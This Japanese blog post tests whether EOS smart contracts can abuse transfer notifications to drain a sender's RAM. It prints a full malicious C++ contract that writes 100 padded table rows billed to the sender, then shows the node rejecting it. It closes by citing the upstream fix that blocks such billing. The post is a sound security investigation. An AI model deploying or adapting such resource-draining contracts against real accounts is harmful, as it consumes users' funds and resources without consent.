require_recipient でRAMを悪用できる？

[EOS 通知仕組み](https://qiita.com/blueplanet/items/f87913577e7031eecebc)　ですが、悪用されると、通知元アカウントの `RAM` が使い切らせる悪意行為ができそうなので、試してみます。

[合约中require_recipient引发的吞噬用户RAM漏洞](https://www.jianshu.com/p/63dc26451682?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation)

## 悪意のスマートコントラクトソース

```c++
#include <eosiolib/eosio.hpp>
#include <eosiolib/asset.hpp>
#include <string>

using namespace eosio;
using std::string;

class[[eosio::contract]] alice : public eosio::contract{

  public:
    alice(name receiver, name code, datastream<const char *> ds) : contract(receiver, code, ds){}

    [[eosio::action]]
    void transfer(name from, name to, asset quantity, string memo) {
      print("_code : ", name{_code}, ", _self : ", name{_self});

      if (from == _self || to != _self)
      {
        return;
      }

      histories_index histories(_self, _self.value);

      for (int i = 0; i < 100; i++)
      {
        // use from as payer！！
        histories.emplace(from, [&](auto &history) {
          history.id = histories.available_primary_key();
          history.from = from;
          history.to = to;
          history.quantity = quantity;
          history.big_dummy_str = std::string("wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww");
        });
      }
    }

  private:
    struct [[eosio::table]] history
    {
      uint64_t id;
      name from;
      name to;
      asset quantity;
      string big_dummy_str;

      auto primary_key() const { return id; }
    };

    typedef eosio::multi_index<"histories"_n, history> histories_index;
};

#define EOSIO_DISPATCH_EX(TYPE, MEMBERS)                                     \
extern "C" {                                                                 \
  void apply(uint64_t receiver, uint64_t code, uint64_t action)              \
  {                                                                          \
    if (code == receiver || code == "eosio.token"_n.value)                   \
    {                                                                        \
      switch (action)                                                        \
      {                                                                      \
        EOSIO_DISPATCH_HELPER(TYPE, MEMBERS)                                 \
      }                                                                      \
      /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
    }                                                                        \
  }                                                                          \
}                                                                            \

EOSIO_DISPATCH_EX(alice, (transfer))
```

## 動作確認
コンパイルして、`alice`アカウントにデプロイしておいてから、`bob` から `alice`に送金してみます。

```shell
$ cleos push action eosio.token transfer '["bob", "alice", "12.0000 EOS", "memo"]' -p bob
Error 3100006: Subjective exception thrown during block productio
```

`nodeos` 側のログを確認してみると、下記のエラーになっていました。

```shell
error 2018-12-12T00:33:00.973 thread-0  http_plugin.cpp:580           handle_exception     ] FC Exception encountered while processing chain.push_transaction
debug 2018-12-12T00:33:00.976 thread-0  http_plugin.cpp:581           handle_exception     ] Exception Details: 3100006 subjective_block_production_exception: Subjective exception thrown during block production
Cannot charge RAM to other accounts during notify.
    {}
    thread-0  apply_context.cpp:387 update_db_usage
pending console output: _code : eosio.token, _self : alice
    {"console":"_code : eosio.token, _self : alice"}
    thread-0  apply_context.cpp:72 exec_one
```

## 結論
既に対策が取っていますね。
ソースを確認してみると、下記の PR で、対応されました。

[Subjectively fail transaction if contract bills RAM to another account within a notification handler by arhag · Pull Request #5451 · EOSIO/eos](https://github.com/EOSIO/eos/pull/5451/files)

- `allow_ram_billing_in_notify` というフラグを追加し、通知する時 `RAM` を消費することを許すかどうかを決める
- デフォルト値が `false` になって、デフォルト許さないようになる
- アクションを実行する時は、上記フラグをチェックしている

```c++
EOS_ASSERT( control.is_ram_billing_in_notify_allowed() || (receiver == act.account) || (receiver == payer) || privileged,
               subjective_block_production_exception, "Cannot charge RAM to other accounts during notify." );
```